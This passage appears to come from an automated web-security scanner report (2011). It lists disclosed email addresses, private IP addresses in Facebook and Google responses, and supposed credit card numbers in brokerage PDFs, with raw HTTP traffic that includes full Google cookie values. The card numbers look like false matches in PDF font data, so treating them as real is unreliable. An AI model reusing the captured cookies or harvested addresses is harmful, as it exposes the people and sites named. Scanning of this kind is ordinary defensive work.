jim@transworldfutures.com

Request

GET /trading_exchanges.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:46 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 23461

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.82. http://www.transworldfutures.com/trading_platforms.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/trading_platforms.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com
rob@transworldfutures.com

Request

GET /trading_platforms.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:49 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 37292

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures,%20LLC&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures,%20LLC&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<input type="hidden" value="jim@transworldfutures.com,rob@transworldfutures.com" name="receiver" />
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.83. http://www.transworldfutures.com/vocabulary.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/vocabulary.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com

Request

GET /vocabulary.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:47 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 28030

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.84. http://www.transworldfutures.com/weather.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/weather.html

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com

Request

GET /weather.html HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:47 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 24106

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

20.85. http://www.transworldfutures.com/web.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.transworldfutures.com
Path:	/web.php

Issue detail

The following email addresses were disclosed in the response:

info@transworldfutures.com
jim@transworldfutures.com

Request

GET /web.php HTTP/1.1
Host: www.transworldfutures.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:48:49 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.8
X-Powered-By: PHP/5.2.8
Connection: close
Content-Type: text/html
Content-Length: 22292

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/toolkit/?CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=esignal&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=jim@transworldfutures.com" target="_blank">
...[SNIP]...
<a href="http://www.pfgbest.com/link/?go=ninja&CID=&LSD=transworldfutures.com&LSC=IB%20Web%20Site&BID=Transworld%20Futures&BEM=info@transworldfutures.com" target="_blank">
...[SNIP]...

21. Private IP addresses disclosed previous next
There are 4 instances of this issue:

http://www.facebook.com/connect/prompt_feed.php
http://www.facebook.com/dialog/feed
http://www.facebook.com/sharer.php
http://www.google.com/sdch/StnTz5pY.dct

Issue background

RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.

Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.

Issue remediation

There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.

21.1. http://www.facebook.com/connect/prompt_feed.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/connect/prompt_feed.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.54.235.44

Request

GET /connect/prompt_feed.php HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.2. http://www.facebook.com/dialog/feed previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/dialog/feed

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.54.238.47

Request

GET /dialog/feed HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.3. http://www.facebook.com/sharer.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/sharer.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.55.3.56

Request

GET /sharer.php HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Content-type: text/html;charset=utf-8
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
X-UA-Compatible: IE=edge
X-XSS-Protection: 0
X-FB-Server: 10.55.3.56
Connection: close
Date: Thu, 08 Sep 2011 19:46:43 GMT
Content-Length: 1687

<html><head><title>Redirecting...</title><script>window._script_path = "\/sharer.php";</script><script type="text/javascript">function incorporate_fragment(a){var c=/^(?:(?:[^:\/?#]+):)?(?:\/\/(?:[^\/
...[SNIP]...

21.4. http://www.google.com/sdch/StnTz5pY.dct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/sdch/StnTz5pY.dct

Issue detail

The following RFC 1918 IP address was disclosed in the response:

172.31.196.197

Request

GET /sdch/StnTz5pY.dct HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PREF=ID=26ea7fef0a6cf43b:U=f5d01e2b2ce2e5f3:TM=1314742576:LM=1314798155:S=dIZk57crg6QHX-5i; NID=50=qJcJMJZx8kd2lKlqzjVa-9sbNEXINZkT3j__0U0O6FyATOmGOc24DVqph_GI2vEuVKgaRzsbDHbwHGQ_9qj9iq7M3tk9aev8U6Q5ZJbnKLqyb8XDcJOeZOxaBATLNeMN
If-Modified-Since: Thu, 08 Sep 2011 11:48:35 GMT

Response

HTTP/1.1 200 OK
Vary: Accept-Encoding
Content-Type: application/x-sdch-dictionary
Last-Modified: Thu, 08 Sep 2011 18:58:40 GMT
Date: Thu, 08 Sep 2011 19:24:31 GMT
Expires: Thu, 08 Sep 2011 19:24:31 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 124609

Domain: .google.com
Path: /search

<!doctype html> <head> <title> - Google Search</title> <script>window.google={kEI:" NMWJ_5AK_rfB8gw",kEXPI:"28505,288 30316,31303,31405",kCSI
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache: YKq3QHbl0RwJ:www.autotrader.com/+used+cary4a-lQGHU2cJ:www.vehix.com/+used+car &hl=en&ct=clnk&gl=us&source=www.google.com onmousedown="return clk(this.hre
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache:rZQjSq2ux10J:translate.reference.com/+Hzpd6vNFcrsJ:translate.google.com/+ &hl=en&ct=clnk&gl=us&source=www.google.com','','','',' 9&hl=en&ct=clnk&gl=us&source=www.google.com','','',
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache: &cd=3 onmousedown="return clk(this.href,'','','',' ')">
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache: &hl=en&ct=clnk&gl=us&source=www.google.com" onmousedown="return clk(this.href,'','','',' >
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache:H75rMPosXksJ:www.cars.com/+used+carOJ7l3PBi2ywJ:www.usedcars.com/+used+car1nPyaj3yx18J:www.orbitz.com/App/DisplayCarSearch+ &hl=en&ct=clnk&gl=us&source=ww
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache: rnetlion.com/article/Direct-TV-vs-Dish-Network KvzX53GQf98J:www.directv.com/DTVAPP/content/My_Account OHG47yeqhSoJ:www.directv.com/DTVAPP/content/contact_us
...[SNIP]...

22. Credit card numbers disclosed previous next
There are 9 instances of this issue:

http://www.interactivebrokers.com/download/en/ASX_ETF_March_09.pdf
http://www.interactivebrokers.com/download/en/ASX_IB_Options_March_17.pdf
http://www.interactivebrokers.com/download/en/ASX_Index_Futures_FO_March.pdf
http://www.interactivebrokers.com/download/en/ISE_FX_Greeks_121207.pdf
http://www.interactivebrokers.com/download/en/OIC_Modified_Collar.pdf
http://www.interactivebrokers.com/download/en/PHLX_IB012908jc.pdf
http://www.interactivebrokers.com/download/en/SGX_Apex50_Part1.pdf
http://www.interactivebrokers.com/download/en/Technical_Analysis.pdf
http://www.transworldfutures.com/pdf/historicalcharts.pdf

Issue background

Responses containing credit card numbers may not represent any security vulnerability - for example, a number may belong to the logged-in user to whom it is displayed. You should verify whether the numbers identified are actually valid credit card numbers and whether their disclosure within the application is appropriate.

22.1. http://www.interactivebrokers.com/download/en/ASX_ETF_March_09.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/download/en/ASX_ETF_March_09.pdf

Issue detail

The following credit card number was disclosed in the response:

4761941214952

Request

GET /download/en/ASX_ETF_March_09.pdf HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:51:49 GMT
Server: Apache
Last-Modified: Mon, 23 Mar 2009 14:14:00 GMT
ETag: "ce4072-e89d1-e0ba9a00"
Accept-Ranges: bytes
Content-Length: 952785
Connection: close
Content-Type: application/pdf

%PDF-1.4%....
2180 0 obj<</Linearized 1/L 952785/O 2183/E 36533/N 39/T 909136/H [ 572 929]>>endobj
xref
2180 13
0000000016 00000 n
0000001714 00000 n
0000002061 00000 n
000000220
...[SNIP]...
</StemV 80/FontName/BLPIBG+Calibri/FontStretch/Normal/FontFile2 669 0 R/FontWeight 400/Flags 4/Descent -250/FontBBox[-476 -194 1214 952]/Ascent 750/FontFamily(Calibri)/CapHeight 625/XHeight 468/Type/FontDescriptor/ItalicAngle 0>
...[SNIP]...
</StemV 80/FontName/BLPICH+Calibri/FontStretch/Normal/FontFile2 678 0 R/FontWeight 400/Flags 32/Descent -250/FontBBox[-476 -194 1214 952]/Ascent 750/FontFamily(Calibri)/CapHeight 625/XHeight 468/Type/FontDescriptor/ItalicAngle 0>
...[SNIP]...

22.2. http://www.interactivebrokers.com/download/en/ASX_IB_Options_March_17.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/download/en/ASX_IB_Options_March_17.pdf

Issue detail

The following credit card numbers were disclosed in the response:

4761941214952
5007225005000000
5385370355399347
5565565565562780

Request

GET /download/en/ASX_IB_Options_March_17.pdf HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:51:08 GMT
Server: Apache
Last-Modified: Mon, 16 Mar 2009 20:05:21 GMT
ETag: "ce406d-c92b9-f85d8240"
Accept-Ranges: bytes
Content-Length: 823993
Connection: close
Content-Type: application/pdf

%PDF-1.4%....
1389 0 obj<</Linearized 1/L 823993/O 1392/E 36457/N 39/T 796164/H [ 572 904]>>endobj
xref
1389 13
0000000016 00000 n
0000001685 00000 n
0000002032 00000 n
000000217
...[SNIP]...
</Subtype/TrueType/FontDescriptor 1397 0 R/LastChar 169/Widths[278 0 0 0 556 0 667 0 333 333 0 0 278 333 278 278 556 556 556 556 556 556 556 556 556 556 278 0 0 0 0 0 0 667 667 722 722 667 0 0 722 278 500 0 556 833 722 778 667 0 722 667 611 0 0 944 667 667 0 0 0 0 0 0 0 556 556 500 556 556 278 556 556 222 222 500 222 833 556 556 556 0 333 500 278 556 500 722 500 500 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 222 222 333 333 350 556 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 737]/BaseFont/ArialMT/FirstChar 32/Encoding/WinAnsiEncoding/Type/Font>
...[SNIP]...
</StemV 80/FontName/AHNDLI+Calibri/FontStretch/Normal/FontFile2 104 0 R/FontWeight 400/Flags 32/Descent -250/FontBBox[-476 -194 1214 952]/Ascent 750/FontFamily(Calibri)/CapHeight 625/XHeight 468/Type/FontDescriptor/ItalicAngle 0>
...[SNIP]...
</StemV 80/FontName/AHNDKH+Calibri/FontStretch/Normal/FontFile2 108 0 R/FontWeight 400/Flags 4/Descent -250/FontBBox[-476 -194 1214 952]/Ascent 750/FontFamily(Calibri)/CapHeight 625/XHeight 468/Type/FontDescriptor/ItalicAngle 0>
...[SNIP]...
07 507 507 507 507 0 0 507 507 276 0 0 0 0 0 898 606 561 529 630 0 459 637 0 267 0 0 423 874 659 676 532 0 563 473 495 0 591 906 0 0 0 0 0 0 0 0 0 494 537 418 537 503 316 474 537 246 0 480 246 813 537 538 537 0 355 399 347 537 473 745 459 474]/BaseFont/AHNFDB+Calibri-Bold/FirstChar 33/Encoding/WinAnsiEncoding/Type/Font>
...[SNIP]...
</StemV 78.878/FontName/AHNMBJ+Calibri-Italic/FontStretch/Normal/FontFile2 125 0 R/FontWeight 400/Flags 96/Descent -250/FontBBox[-476 -194 1214 952]/Ascent 750/FontFamily(Calibri)/CapHeight 625/XHeight 468/Type/FontDescriptor/ItalicAngle -15>
...[SNIP]...
</StemV 78.878/FontName/AHNMAJ+Calibri-Italic/FontStretch/Normal/FontFile2 123 0 R/FontWeight 400/Flags 68/Descent -250/FontBBox[-476 -194 1214 952]/Ascent 750/FontFamily(Calibri)/CapHeight 625/XHeight 468/Type/FontDescriptor/ItalicAngle -15>
...[SNIP]...

22.3. http://www.interactivebrokers.com/download/en/ASX_Index_Futures_FO_March.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/download/en/ASX_Index_Futures_FO_March.pdf

Issue detail

The following credit card numbers were disclosed in the response:

4761941214952
5567785565560000

Request

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:51:04 GMT
Server: Apache
Last-Modified: Mon, 23 Mar 2009 18:47:29 GMT
ETag: "ce40aa-d7bcb-b2c81240"
Accept-Ranges: bytes
Content-Length: 883659
Connection: close
Content-Type: application/pdf

%PDF-1.4%....
1042 0 obj<</Linearized 1/L 883659/O 1045/E 36240/N 26/T 862770/H [ 572 678]>>endobj
xref
1042 13
0000000016 00000 n
0000001453 00000 n
0000001799 00000 n
000000194
...[SNIP]...
0 556 556 333 0 0 0 0 0 975 722 722 722 0 667 611 778 722 278 556 0 611 0 722 778 0 0 0 667 0 0 0 944 667 0 0 0 0 0 0 0 0 556 611 556 611 556 0 611 611 278 0 556 278 889 611 611 611 0 389 556 333 611 556 778 556 556 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 278]/BaseFont/Arial-BoldMT/FirstChar 32/Encoding/WinAnsiEncoding/Type/Font>
...[SNIP]...
</StemV 80/FontName/BBGPFO+Calibri/FontStretch/Normal/FontFile2 78 0 R/FontWeight 400/Flags 32/Descent -250/FontBBox[-476 -194 1214 952]/Ascent 750/FontFamily(Calibri)/CapHeight 625/XHeight 468/Type/FontDescriptor/ItalicAngle 0>
...[SNIP]...
</StemV 80/FontName/BBGPFN+Calibri/FontStretch/Normal/FontFile2 82 0 R/FontWeight 400/Flags 4/Descent -250/FontBBox[-476 -194 1214 952]/Ascent 750/FontFamily(Calibri)/CapHeight 625/XHeight 468/Type/FontDescriptor/ItalicAngle 0>
...[SNIP]...

22.4. http://www.interactivebrokers.com/download/en/ISE_FX_Greeks_121207.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/download/en/ISE_FX_Greeks_121207.pdf

Issue detail

The following credit card number was disclosed in the response:

5565565560333500

Request

GET /download/en/ISE_FX_Greeks_121207.pdf HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:51:39 GMT
Server: Apache
Last-Modified: Wed, 12 Dec 2007 13:47:40 GMT
ETag: "ce400c-7466e-12a99700"
Accept-Ranges: bytes
Content-Length: 476782
Connection: close
Content-Type: application/pdf

%PDF-1.4%....
3366 0 obj<</Linearized 1/L 476782/O 3369/E 67329/N 81/T 409413/H [ 673 989]>>endobj
xref
3366 18
0000000016 00000 n
0000001900 00000 n
0000002247 00000 n
000000239
...[SNIP]...
Widths[278 0 0 0 0 0 0 0 0 0 0 0 0 333 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 667 0 0 722 0 0 778 0 0 0 0 0 0 0 0 0 0 722 667 611 0 667 0 0 0 0 0 0 0 0 0 0 556 0 500 556 556 278 556 556 222 0 0 222 833 556 556 556 0 333 500 278 556 500]/BaseFont/Arial-ItalicMT/FirstChar 32/Encoding/WinAnsiEncoding/Type/Font>
...[SNIP]...

22.5. http://www.interactivebrokers.com/download/en/OIC_Modified_Collar.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/download/en/OIC_Modified_Collar.pdf

Issue detail

The following credit card number was disclosed in the response:

5007225005000000

Request

GET /download/en/OIC_Modified_Collar.pdf HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:51:26 GMT
Server: Apache
Last-Modified: Tue, 10 Jun 2008 18:55:37 GMT
ETag: "ce409d-224043-79411c40"
Accept-Ranges: bytes
Content-Length: 2244675
Connection: close
Content-Type: application/pdf

%PDF-1.4
%....
5 0 obj
<</Length 6 0 R/Filter /FlateDecode>>
stream
x..X.n.G.}......4]}.....[.c...P.`1..1.q,.>.zv.{.....H........[.g...Z.....4.....Es.x#bt..I....}.X.....Q..N..am.;..(<...=.P{\i4..Q..a
...[SNIP]...
67 667 722 722 667 611 778 722 278 500 667 556 833 722 778
667 778 722 667 611 722 667 944 667 667 611 0 0 0 0 0
333 556 556 500 556 556 278 556 556 222 222 500 222 833 556 556
556 556 333 500 278 556 500 722 500 500 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 221 333 333 350 556 1000 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 737 0
606 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0
...[SNIP]...

22.6. http://www.interactivebrokers.com/download/en/PHLX_IB012908jc.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/download/en/PHLX_IB012908jc.pdf

Issue detail

The following credit card numbers were disclosed in the response:

4104564560001820
4761941214952

Request

GET /download/en/PHLX_IB012908jc.pdf HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:51:36 GMT
Server: Apache
Last-Modified: Mon, 28 Jan 2008 22:52:39 GMT
ETag: "ce4051-2325e8-2a375bc0"
Accept-Ranges: bytes
Content-Length: 2303464
Connection: close
Content-Type: application/pdf

%PDF-1.4%....
